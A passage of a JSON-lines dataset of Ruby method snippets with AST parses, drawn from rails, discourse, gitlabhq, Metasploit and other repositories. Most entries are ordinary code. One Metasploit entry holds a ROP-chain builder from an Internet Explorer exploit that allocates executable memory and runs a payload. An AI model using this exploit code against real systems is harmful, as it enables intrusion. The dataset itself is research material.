{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/hash/conversions.rb","start_line":222,"raw_source":"def become_array?(value)\n        value[\"type\"] == \"array\"\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"become_array?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"array\"]}]}]}","id":"0562d2bd-4e1d-4908-994f-e0a7c5881bc6"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/channel/base.rb","start_line":286,"raw_source":"def extract_action(data)\n          (data[\"action\"].presence || :receive).to_sym\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action\"]}]},\"presence\"]},{\"type\":\"sym\",\"children\":[\"receive\"]}]}]},\"to_sym\"]}]}","id":"01a93bf9-97a1-43e5-9fad-8149a8601a84"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/concern_test.rb","start_line":199,"raw_source":"def test_prepended_and_included_class_methods\n    included = Module.new.extend(ActiveSupport::Concern)\n    prepended = Module.new.extend(ActiveSupport::Concern)\n\n    @klass.class_eval { @foo = [] }\n    included.class_methods { def foo; @foo << :included; end } # rubocop:disable Lint/NestedMethodDefinition\n    @klass.class_eval { def self.foo; super; @foo << :class; end }\n    prepended.class_methods { def foo; super; @foo << :prepended; end } # rubocop:disable Lint/NestedMethodDefinition\n\n    @klass.include included\n    @klass.prepend prepended\n\n    assert_equal [:included, :class, :prepended], @klass.foo\n  end","complexity_score":30.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_prepended_and_included_class_methods\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"included\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]},\"extend\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Concern\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prepended\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]},\"extend\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Concern\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@foo\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"included\"]},\"class_methods\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"foo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@foo\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"included\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"foo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@foo\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"class\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prepended\"]},\"class_methods\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"foo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@foo\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"prepended\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"include\",{\"type\":\"lvar\",\"children\":[\"included\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"prepend\",{\"type\":\"lvar\",\"children\":[\"prepended\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"included\"]},{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"sym\",\"children\":[\"prepended\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"foo\"]}]}]}]}","id":"f19cf3bc-5028-4139-8e2f-21dd97afe735"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/ldap/ldap_object_attribute.rb","start_line":77,"raw_source":"def action_create\n    target_object = find_target_object\n    target_dn = target_object['dN'].first\n    attribute = datastore['ATTRIBUTE'].to_sym\n    value = datastore['VALUE']\n\n    print_status(\"Attempting to add attribute #{datastore['ATTRIBUTE']} with value #{value} to #{target_dn}...\")\n\n    ops = [[:add, attribute, value]]\n    @ldap.modify(dn: target_dn, operations: ops)\n    validate_query_result!(@ldap.get_operation_result.table)\n\n    print_good(\"Successfully added attribute #{datastore['ATTRIBUTE']} with value #{value} to #{target_dn}\")\n  end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"action_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_object\",{\"type\":\"send\",\"children\":[null,\"find_target_object\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_dn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_object\"]},\"[]\",{\"type\":\"str\",\"children\":[\"dN\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ATTRIBUTE\"]}]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VALUE\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to add attribute \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ATTRIBUTE\"]}]}]},{\"type\":\"str\",\"children\":[\" with value \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_dn\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ops\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"add\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ldap\"]},\"modify\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dn\"]},{\"type\":\"lvar\",\"children\":[\"target_dn\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operations\"]},{\"type\":\"lvar\",\"children\":[\"ops\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_query_result!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ldap\"]},\"get_operation_result\"]},\"table\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully added attribute \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ATTRIBUTE\"]}]}]},{\"type\":\"str\",\"children\":[\" with value \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_dn\"]}]}]}]}]}]}","id":"a11c29c1-9c87-4ac9-8391-08b1f7f450d0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/access_modifier_declarations.rb","start_line":230,"raw_source":"def allow_modifiers_on_attrs?(node)\n          cop_config['AllowModifiersOnAttrs'] && access_modifier_with_attr?(node)\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_modifiers_on_attrs?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AllowModifiersOnAttrs\"]}]},{\"type\":\"send\",\"children\":[null,\"access_modifier_with_attr?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"1f9789f3-c8bc-49dc-bf40-690d0bc89f5a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/message.rb","start_line":45,"raw_source":"def self.read(stream, startup=false)\n    type = stream.read_exactly_n_bytes(1) unless startup\n    length = stream.read_exactly_n_bytes(4).to_s.unpack('N').first  # FIXME: length should be signed, not unsigned\n\n    if length.nil?\n      raise EOFError\n    elsif length < 4\n      raise ParseError\n    end\n\n    # If we didn't read any bytes and startup was not set, then type will be nil, so don't continue.\n    unless startup\n      if type.nil?\n        return ParseError\n      end\n    end\n\n    # initialize buffer\n    buffer = Buffer.of_size(startup ? length : 1+length)\n    buffer.write(type) unless startup\n    buffer.write_int32_network(length)\n    buffer.copy_from_stream(stream, length-4)\n\n    (startup ? StartupMessage : MsgTypeMap[type]).create(buffer)\n  end","complexity_score":35.23,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]},{\"type\":\"optarg\",\"children\":[\"startup\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"startup\"]},null,{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"read_exactly_n_bytes\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"length\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"read_exactly_n_bytes\",{\"type\":\"int\",\"children\":[4]}]},\"to_s\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"EOFError\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"<\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ParseError\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"startup\"]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParseError\"]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Buffer\"]},\"of_size\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"startup\"]},{\"type\":\"lvar\",\"children\":[\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"+\",{\"type\":\"lvar\",\"children\":[\"length\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"startup\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"write_int32_network\",{\"type\":\"lvar\",\"children\":[\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"copy_from_stream\",{\"type\":\"lvar\",\"children\":[\"stream\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"-\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"startup\"]},{\"type\":\"const\",\"children\":[null,\"StartupMessage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MsgTypeMap\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},\"create\",{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]}]}","id":"2cbeae5e-31ba-4773-9bb5-af4325fc21ff"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_user.rb","start_line":35,"raw_source":"def click_suspend_button\n        find(\".btn-danger.suspend-user\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_suspend_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".btn-danger.suspend-user\"]}]},\"click\"]}]}","id":"f769a140-d8e5-4055-abc4-c1760335249d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/observability/o11y_provisioning_client.rb","start_line":39,"raw_source":"def build_settings_params(api_request_data)\n      {\n        o11y_service_name: api_request_data[:group_id].to_s,\n        o11y_service_user_email: \"#{api_request_data[:group_id]}@gitlab-o11y.com\",\n        o11y_service_password: api_request_data[:password],\n        o11y_service_post_message_encryption_key: api_request_data[:encryption_key]\n      }\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_settings_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"api_request_data\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"o11y_service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_request_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_id\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"o11y_service_user_email\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_request_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_id\"]}]}]},{\"type\":\"str\",\"children\":[\"@gitlab-o11y.com\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"o11y_service_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_request_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"o11y_service_post_message_encryption_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_request_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encryption_key\"]}]}]}]}]}","id":"ad017d5a-470d-4610-823f-2f0bf299d520"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/draft_serializer.rb","start_line":82,"raw_source":"def include_archived?\n    object.topic&.archived&.present?\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"include_archived?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"archived\"]},\"present?\"]}]}","id":"83d0e14d-8ba0-477e-ba99-4b8631ab43a9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms11_003_ie_css_import.rb","start_line":371,"raw_source":"def generate_rop(buf_addr, rvas)\n    # ROP fun! (XP SP3 English, Dec 15 2010)\n    rvas.merge!({\n      # Instructions / Name    => RVA\n      'BaseAddress' => 0x63f00000,\n      'imp_VirtualAlloc' => 0x10f4\n    })\n\n    rop_stack = [\n      # Allocate an RWX memory segment\n      'pop ecx / ret',\n      'imp_VirtualAlloc',\n\n      'call [ecx] / pop ebp / ret 0xc',\n      0,         # lpAddress\n      0x1000,    # dwSize\n      0x3000,    # flAllocationType\n      0x40,      # flProt\n      :unused,\n\n      # Copy the original payload\n      'pop ecx / ret',\n      :unused,\n      :unused,\n      :unused,\n      :memcpy_dst,\n\n      'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',\n      :unused,\n\n      'pop esi / ret',\n      :unused,\n      :unused,\n      :unused,\n      :memcpy_src,\n\n      'pop edi / ret',\n      0xdeadf00d # to be filled in above\n    ]\n    (0x200 / 4).times {\n      rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'\n    }\n    # Execute the payload ;)\n    rop_stack << 'call [ecx] / pop ebp / ret 0xc'\n\n    rop_stack.map! { |e|\n      if e.kind_of? String\n        # Meta-replace (RVA)\n        fail_with(Failure::BadConfig, \"Unable to locate key: \\\"#{e}\\\"\") if not rvas[e]\n        rvas['BaseAddress'] + rvas[e]\n\n      elsif e == :unused\n        # Randomize\n        rand_text(4).unpack('V').first\n\n      elsif e == :memcpy_src\n        # Based on stack length..\n        buf_addr + 0x84 + (rop_stack.length * 4)\n\n      elsif e == :memcpy_dst\n        # Store our new memory ptr into our buffer for later popping :)\n        buf_addr + 0x84 + (21 * 4)\n\n      else\n        # Literal\n        e\n      end\n    }\n\n    rop_stack.pack('V*')\n  end","complexity_score":51.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_rop\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buf_addr\"]},{\"type\":\"arg\",\"children\":[\"rvas\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rvas\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BaseAddress\"]},{\"type\":\"int\",\"children\":[1676673024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"imp_VirtualAlloc\"]},{\"type\":\"int\",\"children\":[4340]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rop_stack\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"pop ecx / ret\"]},{\"type\":\"str\",\"children\":[\"imp_VirtualAlloc\"]},{\"type\":\"str\",\"children\":[\"call [ecx] / pop ebp / ret 0xc\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4096]},{\"type\":\"int\",\"children\":[12288]},{\"type\":\"int\",\"children\":[64]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"str\",\"children\":[\"pop ecx / ret\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"sym\",\"children\":[\"memcpy_dst\"]},{\"type\":\"str\",\"children\":[\"mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"str\",\"children\":[\"pop esi / ret\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"sym\",\"children\":[\"memcpy_src\"]},{\"type\":\"str\",\"children\":[\"pop edi / ret\"]},{\"type\":\"int\",\"children\":[3735941133]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[512]},\"/\",{\"type\":\"int\",\"children\":[4]}]}]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_stack\"]},\"<<\",{\"type\":\"str\",\"children\":[\"movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_stack\"]},\"<<\",{\"type\":\"str\",\"children\":[\"call [ecx] / pop ebp / ret 0xc\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_stack\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rvas\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to locate key: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rvas\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BaseAddress\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rvas\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"==\",{\"type\":\"sym\",\"children\":[\"unused\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[4]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"first\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"==\",{\"type\":\"sym\",\"children\":[\"memcpy_src\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf_addr\"]},\"+\",{\"type\":\"int\",\"children\":[132]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_stack\"]},\"length\"]},\"*\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"==\",{\"type\":\"sym\",\"children\":[\"memcpy_dst\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf_addr\"]},\"+\",{\"type\":\"int\",\"children\":[132]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[21]},\"*\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_stack\"]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]}]}","id":"4ea5861c-c631-477c-9208-c05a1ca25845"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/trust_level_granter.rb","start_line":12,"raw_source":"def grant\n    if @user.trust_level < @trust_level\n      @user.change_trust_level!(@trust_level)\n      @user.save!\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"grant\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"trust_level\"]},\"<\",{\"type\":\"ivar\",\"children\":[\"@trust_level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"change_trust_level!\",{\"type\":\"ivar\",\"children\":[\"@trust_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"save!\"]}]},null]}]}","id":"5afd3399-6030-4a86-bea0-d48d10af2c59"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/digestor_test.rb","start_line":147,"raw_source":"def test_nested_template_deps_with_non_default_rendered_format\n    nested_deps = [{ \"comments/comments\" => [\"comments/comment\"] }]\n    assert_equal nested_deps, nested_dependencies(\"messages/thread\")\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_template_deps_with_non_default_rendered_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"nested_deps\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"comments/comments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"comments/comment\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"nested_deps\"]},{\"type\":\"send\",\"children\":[null,\"nested_dependencies\",{\"type\":\"str\",\"children\":[\"messages/thread\"]}]}]}]}]}","id":"1b054e44-2134-493f-ad1d-3fdd4c754362"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/meeting.rb","start_line":168,"raw_source":"def templated?\n    !!template\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"templated?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template\"]},\"!\"]},\"!\"]}]}","id":"2a8ab171-e16d-4e45-812d-5fdbccb08f67"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vmdb_database_lock.rb","start_line":18,"raw_source":"def blocking_lock_relation\n    case locktype\n    when \"relation\"\n      self.class.where(:relation => relation, :database => database)\n    when \"advisory\"\n      self.class.where(:classid => classid, :objid => objid, :objsubid => objsubid)\n    when \"virtualxid\"\n      self.class.where(:virtualxid => virtualxid)\n    when \"transactionid\"\n      self.class.where(:transactionid => transactionid)\n    when \"tuple\"\n      self.class.where(:database => database,\n                       :relation => relation,\n                       :page     => page,\n                       :tuple    => tuple)\n    end\n  